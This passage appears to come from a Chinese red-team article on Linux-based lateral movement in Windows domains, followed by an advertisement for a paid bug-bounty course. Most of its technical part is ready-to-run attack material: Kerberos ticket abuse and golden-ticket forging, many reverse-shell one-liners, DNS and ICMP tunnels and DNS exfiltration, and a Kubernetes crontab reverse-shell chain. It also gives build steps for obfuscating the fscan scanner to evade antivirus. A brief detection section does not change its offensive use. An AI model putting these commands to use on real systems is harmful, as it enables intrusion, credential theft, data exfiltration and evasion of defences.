python3 keytabextract.py /etc/krb5.keytab # key type 23 → NT hash
netexec <ip> -u 'COMPUTER$' -H <NTLM> -d 'DOMAIN'
核心就一行——**export KRB5CCNAME**,然后所有支持 Kerberos 的工具自动吃这张票:
export KRB5CCNAME=/tmp/krb5cc_1569901115
# Windows 的 kirbi → Linux 的 ccache 转换
impacket-ticketConverter SRV01.kirbi SRV01.ccache
# Linux → Windows 命令执行(全部 -k -no-pass 走 Kerberos)
impacket-psexec domain/user@target -k -no-pass
impacket-wmiexec domain/user@target -k -no-pass
impacket-secretsdump -k -no-pass target
evil-winrm -i target -r DOMAIN -K Administrator.ccache
nxc smb <targets> --use-kcache -x whoami
nxc smb <targets> -k --sam / --lsa / --ntds
从 hash 直达 TGT:
impacket-getTGT -dc-ip <dc> -hashes :<NTLM> domain/Administrator # → Administrator.ccache
export KRB5CCNAME=Administrator.ccache
伪造票据(金票/银票)在 Linux 侧同样可做:
ticketer.py -nthash <krbtgt_NTLM> -domain-sid S-1-5-21-... -domain DOMAIN h4x0r
export KRB5CCNAME=h4x0r.ccache
psexec.py DOMAIN/h4x0r@target -k -no-pass -dc-ip <dc> -target-ip <ip>
委托攻击(getST,S4U2self + S4U2proxy):
getST.py -spn cifs/target -impersonate administrator 'domain/service:password' -dc-ip <dc>
getST.py -spn cifs/target -impersonate administrator -additional-ticket admin.ccache 'domain/svc:pass'
跨域/跨林——impacket 的 getST 对跨域 referral 处理有 bug,用Cross-Realm-TGS补[25]:
getST.py -k -no-pass -spn krbtgt/TARGET.REALM -dc-ip <src-dc> SOURCE.REALM/User
python3 cross_realm_tgs.py inter-realm-tgt.ccache cifs/DC01.target.realm <tdc-ip> TARGET.REALM
export KRB5CCNAME=dc01_....ccache
secretsdump.py -k -no-pass -target-ip <tdc> 'SOURCE.REALM/User@DC01.target.realm' -use-vss
域内 Linux 若开了AllowGSSAPIAuthentication,可以用 Kerberos 票直接 SSH 登 Linux 主机,不留密码痕迹:
export KRB5CCNAME=username.ccache
ssh -vv -K user@domain@linux.domain.local
更高阶的是 UPN 冒充(gssapi-abuse,"A broken marriage"研究[26])——MIT Kerberos 不验 PAC,用 bloodyAD 把自己的 UPN 改成administrator,再getTGT.py -principalType NT_ENTERPRISE请求企业主体票,GSSAPI 登录时身份就冒充成了域管。隐蔽性比传统 PTT 高得多。
为什么用票不用 NTLM?三条硬理由:委托必须 Kerberos;票不随改密失效(密码改了票还在有效期);金票带跨域 SID 直接横跨信任。
这站的检测侧:MITRE 新出 DET0024 就是专盯 Linux 侧票据的——auditd 监控
/tmp/krb5cc_*的 open + 异常 AS-REQ(从非域加入机发出的 TGT 请求、票里出现 RC4 加密类型)。做红队,知道蓝队怎么盯你,才知道怎么绕过。
前面所有隧道都假设你能连出网。但实战里你常遇到的恰恰是出网受限:目标机器只能访问特定的几个端口,甚至只能走 DNS。这时候方案全变。核心原则一句话:攻击者在 VPS 上先起监听,目标机主动连回——哪条协议能连,就用哪条打通道。
| ICMP | ping -c 4 baidu.com | |
| TCP | bash -c 'echo x > /dev/tcp/<vps>/<port>' | |
| UDP | nc -u <vps> <port> | |
| HTTP | curl -sI http://<vps>/ | |
| HTTPS | curl -k https://<vps>/ | |
| DNS | dig @你的DNS www.baidu.com |
关键细节:DNS 探测要用 ceye.io / dnslog.cn 这种被动 DNS 平台收日志——工具传不进去时它就是唯一的 OOB 通道。TCP 要测多个端口(80/443/53/123/22),防火墙常按端口白名单放行。ICMP 通了不代表 TCP 通——很多企业只放 ICMP 做监控,这正是 ICMP 隧道存在的意义。
要弹 shell,先知道有哪些姿势。每种环境挑最顺手的:
# Bash TCP(最通用,任何 bash 都在)
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
(sh)0>/dev/tcp/10.10.10.10/9091 # 最简写(Dikline 技巧,短且绕检测)
# 过空格/特殊字符过滤
echo <base64命令> | base64 -d | bash 2>/dev/null
# Python(pty.spawn 拿完整 TTY,Linux 首选)
python -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4242));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn("/bin/sh")'
# Netcat 无 -e 时用 FIFO
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
# Socat(唯一能直接给全 TTY + stty 的)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
# OpenSSL —— 加密反弹,流量不可读,过纯 443 白名单
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
# 服务端:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
# Perl / Ruby / PHP / AWK / Telnet 见素材库,此处不展开
选择逻辑:python 有就优先(全 TTY)→ bash /dev/tcp(万能兜底)→ openssl(要加密)→ 什么都没有?telnet 双监听或 awk。纯文本 shell 过 DPI 必被拦,需要过边界时加密反弹是刚需。
DNS 隧道把数据塞进 DNS 查询的子域名标签和响应记录里,走 UDP/53。几乎所有防火墙都放行 DNS 递归解析——这是它通行性无敌的根源。三类工具定位差异(选型关键):
| iodine | |||
| dnscat2 | |||
| dns2tcp |
iodine 实战:
# 服务端(VPS,开放 UDP/53)
./iodined -f -c -P secret 192.168.99.1 t1.mydomain.com
# 客户端(目标机)
./iodine -f -r -P secret 223.5.5.5 t1.mydomain.com # -r 强制走指定 DNS 递归
# 成功后出现 dns0 网卡,IP 192.168.99.2,可 ssh root@192.168.99.2
dnscat2 是天然 C2 形态(免 root、加密),会话内还能端口转发——listen 127.0.0.1:8080 10.0.0.20:80把内网服务绑到攻击机。
ICMP 隧道的合法性依据是 RFC 792——echo 的 data 字段长度任意,把 IP 包塞进去即可。触发条件:TCP/UDP 全被拦但 ping 能通。
# ptunnel-ng(TCP over ICMP)
sudo ptunnel-ng -p <server_ip> -l 2222 -r 10.0.3.1 -R 22 # 经隧道 SSH
ssh -p 2222 -l user 127.0.0.1
# icmptunnel(IP over ICMP,等价 tun)
[sudo] ./icmptunnel -s 10.0.1.1 # 服务端
[sudo] ./icmptunnel -c <server> # 客户端
检测对抗:正常 ping payload 固定/为空、大小恒定(32/56/64 字节),隧道流量 payload 非零且大小杂乱。对抗手段——把 echo 间隔模拟成人工 ping、payload 随机填充、限制每包大小贴近正常值。
出网探测(五件套)
├─ TCP 任意端口通 → bash /dev/tcp 直接反弹 → frp/chisel reverse socks → 内网漫游
├─ 仅 80/443 通 → reGeorg(有 web 环境)/ cloudflared·ngrok·chisel(能装二进制)/ openssl 加密反弹
├─ 仅 DNS 通 → iodine(完整 IP 通道)/ dnscat2(C2 跑命令)/ dns2tcp(单条 TCP 中继)
├─ 仅 ICMP 通 → ptunnel-ng(中继 TCP)/ icmptunnel(完整 IP)/ xxd+ping 逐字节 exfil
└─ 全不通(工具传不进去)
├─ bash /dev/tcp 手写端口探针
├─ base64 分块 echo 落地 → base64 -d 重建
├─ python -c 一次性脚本(socket 手搓反弹,不落地)
└─ 文件 exfil:base64 + DNS 查询逐 32 字节发给你控制的 NS 日志
这站有几个"过受限环境"的冷门招值得记:frp v0.53+ 的 SSH Tunnel Gateway——目标机只需自带 OpenSSH 客户端就能开反向隧道,零二进制落地,比传 frpc 更隐蔽[27];QUIC 出网(egress 只审 TCP/443 时,curl --http3-only把流量挪到 UDP/443);QEMU 虚拟机隐藏 C2(内存里跑 Tiny Core Linux 当 SSH 跳板,EDR 只看到 loopback,进程在另一个 OS 空间)。
这站英文的 PayloadsAllTheThings 反向 shell 页和 HackTricks 隧道页是权威底稿;中文腾讯蓝军的"五类协议出网映射"和博客园的出网探测详解是实战补充。
前面的每一站都是零件。这一站把它们装成完整的机器。下面六条链是 2025-2026 真实攻防里反复出现的打法,每条都能当演练剧本。
这是微软 2026/05 公开的真实攻击链[28],完整复刻了"边界→内网→域"的教科书路径:
被入侵的 F5 BIG-IP 边缘设备(EOL,CVE-2025-53521)
→ 用特权账号 SSH 登内部 Linux
→ gowitness + nmap 侦察(走 socks5 代理,截图内网服务)
→ 对 Windows 尝试 NTLM 横向(enum4linux/netexec/kerbrute 初败)
→ 发现未打补丁的内部 Confluence
→ RCE 时被 RTP 拦截文件落地,改在 Linux 上起 Python ftplib FTP 服务中转 payload
→ 从 server.xml / confluence.cfg.xml 窃取 Jiraservices 账号
→ Kerberos relay + PetitPotam + CVE-2025-33073 + dnstool 加 DNS 记录
→ 尝试打域控(testssl 找降级路径)
这条链的价值:把前六站全串上了——边界打点、SSH 横向、代理侦察、凭据窃取、Kerberos relay、域内推进。它还有个细节:RTP 拦文件落地,攻击者立刻改用 FTP 中转,说明攻防双方都在实时博弈。
中文靶场里最完整的一条 Linux 主导链[29]:
Redis 2.8 未授权 → 写 SSH 公钥拿 root 跳板(双网卡)
→ fscan 出 MS17-010 / Laravel / 通达OA / Redis 可写路径
→ SSH socks 代理 + 永恒之蓝拿 PC1 → 识别域控
→ Laravel CVE-2021-3129 写 webshell 进 Docker 容器
→ SUID PATH 提权 → 特权容器 mount /dev/sda1 逃逸
→ 写宿主机 SSH 公钥 → 域内 fscan 扫出 DC/PC2
→ MS17-010 拿 PC2 → mimikatz → impacket-psexec 登域控
关键细节:Redis 写公钥前加\n换行绕 RDB 头部垃圾数据;老 OpenSSH 6.6.1 要-o PubkeyAcceptedAlgorithms=+ssh-rsa。这是"fscan 兜底 + 定向利用"的组合教科书。
出网受限场景的典型:
NDay WebShell → fscan 扫 B 段大量 Redis 弱口令 → 站点被关
→ Neo-reGeorg HTTP 隧道(404 页面伪装)维持
→ IDOR role=1 注册管理员 → 图片免杀上传哥斯拉 webshell → SYSTEM
→ frp 多层代理 → 找双网卡主机(sa.txt 口令喷洒 SSH 登录)
→ 三层 frp 链跨 10.9 段
核心看点:出网受限时 reGeorg 伪装 404 隧道维持权限、role=1IDOR 直接注册管理员、双网卡主机是跨段横向的关键跳板。
Jenkins Script Console 未授权(默认 system 权限)
→ 出网受限走 IIS asp webshell → reGeorg 隧道 + Proxifier → RDP
→ mimikatz 抓密码 → 字典+抓到的密码扫 B 段 RDP 爆破 8 台
→ 找域管运行进程(sqlserverManage)→ mimikatz 内存抓域管明文 → 域控
核心看点:Jenkins Script Console 默认 system 是经典打点;找域管进程 → 内存抓明文是 Linux 主导链里打 Windows 域的巧劲。
Struts2 CVE-2020-17530 → 反弹 shell 落 pod
→ 探测 169.254.169.254 拿节点 IAM 临时凭证
→ 本地导入 AWS CLI → 发现 dev-AssumeRole + ReadOnlyAccess
→ AssumeRole 冒充 dev-EC2Full → EC2 完全控制
核心看点:云元数据的 AccessKey 链。注意阿里云的前提——ECS 必须绑了 RAM 角色,裸 ECS 的security-credentials/是空的。拿到临时 AK 后用GetCallerIdentity确认身份,再找sts:AssumeRole提权路径。
API Server 未授权(10.96.0.1:443 假用户名密码)
→ describe nodes | grep Taints
→ 下发带 tolerations + hostPath 挂 / 的 pod 到 master
→ 写 crontab 反弹 → 再下发 nodeName 指定 pod 挂载 /mnt
→ 控制所有节点
kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true \
--username=a --password=a describe nodes | grep Taints
# x.yaml: tolerations(node-role.kubernetes.io/master NoSchedule) + hostPath path:/
kubectl create -f x.yaml
kubectl exec control-master-x231 -- bash -c \
"echo -e '* * * * * root bash -i >& /dev/tcp/192.168.86.218/6677 0>&1\n' >> /master/etc/crontab"
K8s 的横向面:kubelet 10250 未授权(/run/<ns>/<pod>/<container>直接命令执行)、etcd 2379 未授权(拿 SA token 接管集群)、API Server 8080 老版本未授权。CDK 是这套的工具化答案[30]。
前九站你都在当攻击者。这一站换到蓝队视角——你做的每一步,对应着什么检测信号。做红队,知道蓝队怎么盯你,才知道怎么绕;做蓝队,这张表就是你从零建检测的起点。
fscan 的 Go 静态二进制,原版在 360/火绒/Defender/卡巴斯基全杀。但免杀有个反直觉的结论:
| UPX 加壳 | ||||
-literals | ||||
UPX 加壳对 Go 二进制适得其反——触发启发式全杀,跟"加壳=免杀"的常识相反。而卡巴的杀点(DLL 内 POC 行为特征)和 360/Defender 的杀点(字符串)完全不同,说明免杀要分层:先清字符串,再 garble 混淆,最后还要过行为检测。
能过主流杀软的构建命令(pscan 项目实战验证):
# 改 go.mod module 名 + 批量替换源码里 fscan 特征串
module scanner/core
Get-ChildItem -Recurse -Filter "*.go" | ForEach-Object {
(Get-Content $_.FullName) -replace 'github.com/shadow1ng/fscan','scanner/core' | Set-Content $_.FullName
}
# garble 编译(-literals 混淆字符串 + -tiny 缩小)
garble -tiny -literals -seed=random build -ldflags="-s -w -buildid=" -trimpath -o fscan.exe .
authorized_keys变更监控(FIM/auditd)、ssh-agent转发检测。Hive Security 给了全套 auditd 规则 + Sigma + Wazuh rule ID[7]。-R/-L/-D/-J)、命令行正则匹配ip:port:ip:port、新 TUN 网卡/路由、主机突然变路由器(内网间流量激增)。/tmp/krb5cc_*访问 + 异常 AS-REQ[31]。这一站落到一句话:攻击者能藏的不是流量,是行为的合理性。所有检测规则追的都不是"工具"本身,而是"人不像人的行为"——扫描像风暴、爆破像风暴、隧道参数一眼假。所以攻击侧的对应物永远是:压低节奏、伪装合理性、工具二开去特征、优先用系统自带能力(living off the land)。fscan 的 12 字用法(分段用、定向用、低流量起步)和它在这个维度上的弊端,本质是同一件事。
02
26
SRC漏洞挖掘培训课程

1.课程价格目前是575(后面也会随着人数越多,涨价)🌟师傅们还可以上车补票,冲冲冲!
2.报名成功送知识星球一个,拉内部小圈子交流群+SRC直播通知群!✨
3.一周2节课程,直播+录播形式,课程内容大家可以看课表,目前是第一期,一次报名永久无限听课!❤️
4.目前是第一期课程,后面比如说开了二、三期,都是不用在花钱的!
5.上课结束后,会把视频录播+课件笔记一起打包发直播群!
6.哔哩哔哩SRC课程公开课,链接🔗直达:
https://space.bilibili.com/642258933
SRC课程详情🔎:学了一堆理论,还是挖不到漏洞?你缺的是实战!




最后也是希望大家都可以赚钱,找到好工作🎉




上课结束后,会把视频录播+课件笔记一起打包发直播群
「神农安全」知识星球目前已经累计2400+网络安全爱好者的加入!
后面也是小圈子做大起来了,师傅们也都喜欢看我文章,想着给大家教下src漏洞挖掘思路,所以自己花了很长时间做了✨课件和课表,都是纯自己手搓的,大家也可以看下课表的内容。


03
课程主打真实,一线SRC漏洞挖掘师傅是如何学习和挖掘SRC漏洞的,让你真正了解SRC漏洞挖掘,助力在岗人员和大学生的能力提升,掌握新的技能树,为下一次跳槽涨薪做好准备。本课程内容覆盖企业SRC、众测项目挖掘、护网HVV红蓝攻防技巧、CVE、CNVD、EDUSRC等平台通杀案例技巧挖掘方法。
本课程适合人群(光看不挖啥也不会)
1、有计算机经验,想从0转行入行的大学生或自学者2、想从CTF比赛/Web或SRC进阶到项目实战的选手3、想参与项目/找工作/提高收入的转型者4、想通过挖SRC赏金做副业的师傅们5、挖SRC漏洞遇到瓶颈的师傅们6、想学习AI安全自动化渗透测试漏洞挖掘的师傅
1、课程价格真心实惠,绝不割韭菜2、四五百的课程价格让你体会大几千的培训课程内容3、带着大家从0到1,本人上课坚持手搓课件(实战案例+知识体系)4、拒绝使用PPT演讲模式(无实操,很枯燥)

讲师介绍
id:一个想当文人的黑客


04


内部圈子介绍(报课赠送)

圈子专注于更新src/红蓝攻防相关:
1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例2、知识星球专属微信“小圈子交流群”3、微信小群一起挖洞4、内部团队专属EDUSRC证书站漏洞报告5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)6、分享src挖掘技巧tips7、不定期有众测、渗透测试项目(一起挣钱)8、不定期有工作招聘内推(工作/护网内推)9、送全国职业技能大赛环境+WP解析(比赛拿奖)10、十个专栏会持续更新~提前续费有优惠,好用不贵很实惠11、每日内部资料分享,内部圈子资料1000+12、联系圈主获取:内部漏洞知识库+圈子使用手册+内部圈子交流群13、VX:routing_love,技术交流+疑问解决
内部圈子专栏介绍
知识星球内部共享资料截屏详情如下
(只要没有特殊情况,每天都保持更新)


05
















有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)


申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
